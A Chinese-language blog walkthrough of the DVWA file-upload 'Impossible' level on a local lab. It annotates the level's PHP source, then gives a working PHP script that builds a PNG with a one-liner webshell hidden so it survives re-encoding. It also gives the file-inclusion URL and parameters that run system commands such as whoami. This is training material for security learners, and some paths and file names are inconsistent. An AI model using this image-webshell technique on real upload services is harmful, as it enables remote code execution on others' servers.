DVWA靶场通关笔记-文件上传(Impossible级别)

发布于:2025-07-05 ⋅ 阅读:(18) ⋅ 点赞:(0)

目录

一、文件上传

二、文件上传之二次渲染

三、代码审计

1、渗透准备

2、源码分析

(1)index.php

(2)impossible.php

四、渗透实战

1、构造图片马

(1)创建IDAT_png.php脚本

(2)执行脚本生成图片马

(3)分析图片马

2、上传图片马

3、获取图片马地址

4、文件包含访问图片马

(1)图片马的URL地址

(2)设置security为low

(3)文件包含访问图片马


本系列为通过《DVWA靶场通关笔记》的文件上传关卡(low,medium,high,impossible共4关)渗透集合,通过对相应关卡源码的代码审计找到讲解渗透原理并进行渗透实践,本文为文件上传impossible级别关卡的渗透部分。

一、文件上传

文件上传是指Web应用程序未对用户上传的文件进行严格验证,导致攻击者可上传恶意文件(如Webshell、木马程序等)到服务器,从而获取系统控制权或执行任意代码,该风险通常出现在应用程序允许用户上传文件的场景中。

二、文件上传之二次渲染

图片马(Image Shell) 是一种将恶意代码(如PHP、ASP等WebShell)隐藏到正常图片文件中的攻击技术。攻击者利用文件上传风险可以上传看似无害的图片(如.jpg、.png),但该图片内部嵌入了可执行的恶意代码,从而绕过简单的文件类型检测,最终在服务器上执行任意命令。

文件上传二次渲染是指用户上传文件(如图片)后,服务器对文件进行重新处理(如压缩、格式转换、尺寸调整等),生成新的文件版本并存储 。

图片马(将恶意代码嵌入图片文件)可通过二次渲染有效防御:服务器对上传的图片进行强制重压缩、尺寸调整或格式转换(如将用户上传的图片统一转为WebP/JPG),破坏隐藏的恶意代码。码)。

三、代码审计

1、渗透准备

配置security为高等Impossible级别,具体如下图红框所示。

进入到文件上传关卡High页面,完整URL地址具体如下所示。

http://127.0.0.1/DVWA/vulnerabilities/upload/ 

2、源码分析

(1)index.php

进入DVWA靶场源目录,找到High.php源码。

这段代码实现了 DVWA (Damn Vulnerable Web Application) 中的文件上传关卡的演示页面,主要功能包括如下处理流程。

  • 安全级别控制:根据用户 Cookie 中的security (低、中、高、不可能),加载不同安全级别的处理逻辑
  • 环境检查:验证上传目录是否可写以及 PHP-GD 扩展是否安装
  • 表单展示:显示文件上传表单,允许用户上传文件
  • 辅助功能:提供安全文档链接,帮助用户理解文件上传安全风险

经过注释后的详细代码如下所示。

<?php

// 定义网站根目录的相对路径
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 包含 DVWA 的页面初始化文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 初始化页面,确保用户已认证,并加载 PHPIDS(PHP入侵检测系统)
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 获取页面信息
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ]   = 'Vulnerability: File Upload' . $page[ 'title_separator' ].$page[ 'title' ];
// 设置页面 ID
$page[ 'page_id' ] = 'upload';
// 设置帮助按钮和源代码按钮
$page[ 'help_button' ]   = 'upload';
$page[ 'source_button' ] = 'upload';

// 连接数据库
dvwaDatabaseConnect();

// 根据安全级别选择对应的文件
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		$vulnerabilityFile = 'low.php'; // 低安全级别
		break;
	case 'medium':
		$vulnerabilityFile = 'medium.php'; // 中安全级别
		break;
	case 'high':
		$vulnerabilityFile = 'high.php'; // 高安全级别
		break;
	default:
		$vulnerabilityFile = 'impossible.php'; // 最高安全级别
		break;
}

// 包含对应的文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/upload/source/{$vulnerabilityFile}";

// 检查上传目录是否可写
$WarningHtml = '';
if( !is_writable( $PHPUploadPath ) ) {
	$WarningHtml .= "<div class=\"warning\">Incorrect folder permissions: {$PHPUploadPath}<br /><em>Folder is not writable.</em></div>";
}
// 检查是否安装了 PHP-GD 模块
if( ( !extension_loaded( 'gd' ) || !function_exists( 'gd_info' ) ) ) {
	$WarningHtml .= "<div class=\"warning\">The PHP module <em>GD is not installed</em>.</div>";
}

// 构建页面内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: File Upload</h1>

	{$WarningHtml} // 显示警告信息

	<div class=\"vulnerable_code_area\">
		<form enctype=\"multipart/form-data\" action=\"#\" method=\"POST\"> // 文件上传表单
			<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\" /> // 限制上传文件大小
			Choose an image to upload:<br /><br />
			<input name=\"uploaded\" type=\"file\" /><br /> // 文件选择框
			<br />
			<input type=\"submit\" name=\"Upload\" value=\"Upload\" />\n";

// 如果是最高安全级别,添加 CSRF 令牌字段
if( $vulnerabilityFile == 'impossible.php' )
	$page[ 'body' ] .= "			" . tokenField();

$page[ 'body' ] .= "
		</form>
		{$html} // 显示上传结果或其他信息
	</div>

	<h2>More Information</h2> // 提供更多关于文件上传安全风险的信息
	<ul>
		<li>" . dvwaExternalLinkUrlGet( '<url id="d0g9jpaej2dnt3123or0" type="url" status="parsed" title="Unrestricted File Upload | OWASP Foundation" wc="24644">https://www.owasp.org/index.php/Unrestricted_File_Upload</url> ' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( '<url id="d0g9jpaej2dnt3123org" type="url" status="parsed" title="Fortra's Beyond Security" wc="1516">https://blogs.securiteam.com/index.php/archives/1268</url> ' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( '<url id="d0g9jpaej2dnt3123os0" type="url" status="parsed" title="File Upload Bypass: Upload Forms Threat Explained" wc="13700">https://www.acunetix.com/websitesecurity/upload-forms-threat/</url> ' ) . "</li>
	</ul>
</div>";

// 输出页面内容
dvwaHtmlEcho( $page );

?>

(2)impossible.php

进入DVWA靶场源目录,找到impossible.php源码,如下图所示。

打开源码impossible.php,经过详细注释的源码具体如下所示。

<?php
if (isset($_POST['Upload'])) {
    // 检查防CSRF令牌,验证请求的合法性,防止跨站请求伪造
    checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

    // 获取上传文件的相关信息
    $uploaded_name = $_FILES['uploaded']['name'];  // 原始文件名
    $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);  // 文件扩展名
    $uploaded_size = $_FILES['uploaded']['size'];  // 文件大小
    $uploaded_type = $_FILES['uploaded']['type'];  // 文件的MIME类型
    $uploaded_tmp = $_FILES['uploaded']['tmp_name'];  // 上传文件在服务器临时存储的文件名

    // 确定文件上传的目标路径
    $target_path = DVWA_WEB_PAGE_TO_ROOT. 'hackable/uploads/';
    // 生成一个唯一的目标文件名,通过对文件名进行MD5哈希并拼接扩展名
    // $target_file = basename( $uploaded_name, '.' . $uploaded_ext ). '-';
    $target_file = md5(uniqid(). $uploaded_name). '.' . $uploaded_ext;
    // 确定临时文件的路径,根据php.ini中upload_tmp_dir配置或系统临时目录
    $temp_file = ((ini_get('upload_tmp_dir') == '')? (sys_get_temp_dir()) : (ini_get('upload_tmp_dir')));
    $temp_file.= DIRECTORY_SEPARATOR. md5(uniqid(). $uploaded_name). '.' . $uploaded_ext;

    // 验证上传的文件是否为图片,检查扩展名、文件大小、MIME类型以及是否为有效的图片
    if ((strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') &&
        ($uploaded_size < 100000) &&
        ($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') &&
        getimagesize($uploaded_tmp)) {

        // 去除文件的元数据,通过重新编码图片,这里推荐使用php-Imagick替代php-GD
        if ($uploaded_type == 'image/jpeg') {
            // 从临时文件创建JPEG图像资源
            $img = imagecreatefromjpeg($uploaded_tmp);
            // 将图像重新编码为JPEG格式并保存到临时文件
            imagejpeg($img, $temp_file, 100);
        } else {
            // 从临时文件创建PNG图像资源
            $img = imagecreatefrompng($uploaded_tmp);
            // 将图像重新编码为PNG格式并保存到临时文件,质量为9
            imagepng($img, $temp_file, 9);
        }
        // 销毁图像资源
        imagedestroy($img);

        // 尝试将临时文件移动到网站根目录的目标路径
        if (rename($temp_file, (getcwd(). DIRECTORY_SEPARATOR. $target_path. $target_file))) {
            // 移动成功,输出成功信息,包含上传文件的链接
            $html.= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        } else {
            // 移动失败,输出错误信息
            $html.= '<pre>Your image was not uploaded.</pre>';
        }

        // 如果临时文件存在则删除
        if (file_exists($temp_file))
            unlink($temp_file);
    } else {
        // 文件不符合要求(如类型、大小等),输出错误提示
        $html.= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// 生成新的防CSRF令牌,用于后续的请求验证
generateSessionToken();
?>

这段代码实现了一个增强版的文件上传功能,代码中防止文件上传风险可以从以下几个方面着手。

  • CSRF 验证:检查请求中的user_token和会话中的session_token是否匹配,防止跨站请求伪造。
  • 文件信息获取:获取上传文件的原始名、扩展名、大小、MIME 类型以及临时文件名。
  • 目标路径和文件名生成:确定文件上传的目标路径,并生成一个唯一的目标文件名,同时确定临时文件的路径。
  • 文件验证:验证上传文件是否为允许的图片类型(JPEG PNG),检查文件大小、MIME 类型以及是否为有效的图片。
  • 元数据处理:去除文件的元数据,通过重新编码图片确保文件内容安全。
  • 文件移动:将处理后的临时文件移动到目标路径,若移动成功则输出成功信息,否则输出错误信息。
  • 临时文件清理:如果临时文件存在则删除。
  • CSRF 令牌更新:生成新的防 CSRF 令牌,用于后续的请求验证。

综上,这些措施看起来可以有效地防止文件上传安全风险,不过参考upload-labs靶场的图片渲染关卡,本次DVWAimpossible关卡依旧可以渗透成功。

四、渗透实战

1、构造图片马

(1)创建IDAT_png.php脚本

生成一个绕过渲染的图片马的php脚本,内容如下。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);


$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

(2)执行脚本生成图片马

打开cmd,执行命令php IDAT_png.php,生成图片马1.png。

C:\phpstudy_pro\Extensions\php\php5.2.17nts\php.exe IDAT_png.php

php脚本运行结果为生成1.png文件,如下所示。

(3)分析图片马

用ultraedit或者010editor打开刚刚生成的图片马,发现图片中包含一句话木马。一句话木马的内容为 <?=$_GET[0]($_POST[1]);?>,其中Post参数为1,Get参数为0。具体如下所示。

<?=$_GET[0]($_POST[1]);?>

2、上传图片马

打开dvwa靶场的impossible关卡,选择刚刚构造的图片马1.png,如下图所示。

3、获取图片马地址

上传1.png上传后效果如下所示,上传成功。

http://127.0.0.1/dvwa/hackable/uploads/test.jpg

右键复制链接地址,如下所示获取到的URL地址如下所示。

http://127.0.0.1/DVWA/hackable/uploads/8f4fcc965fc23e3c75217d736b09edae.png

4、文件包含访问图片马

(1)图片马的URL地址

文件包含首页URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php

图片马的脚本完整的渗透URL地址如下所示。

http://127.0.0.1/dvwa/hackable/uploads/8f4fcc965fc23e3c75217d736b09edae.png 

文件包含访问图片马的完整URL渗透地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../hackable/uploads/8f4fcc965fc23e3c75217d736b09edae.png 

(2)设置security为low

由于DVWA靶场文件包含关卡的high级别做了较高的限制,故而将security设置为low,如下所示。

(3)文件包含访问图片马

浏览器地址栏输入渗透URL地址,如下所示获取服务器的whoaimi信息,渗透成功。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/8f4fcc965fc23e3c75217d736b09edae.png &0=system
密码为1=whoami

在浏览器地址栏输入渗透URL地址,post参数填写1=whoami,如下所示获取服务器的php信息,渗透成功。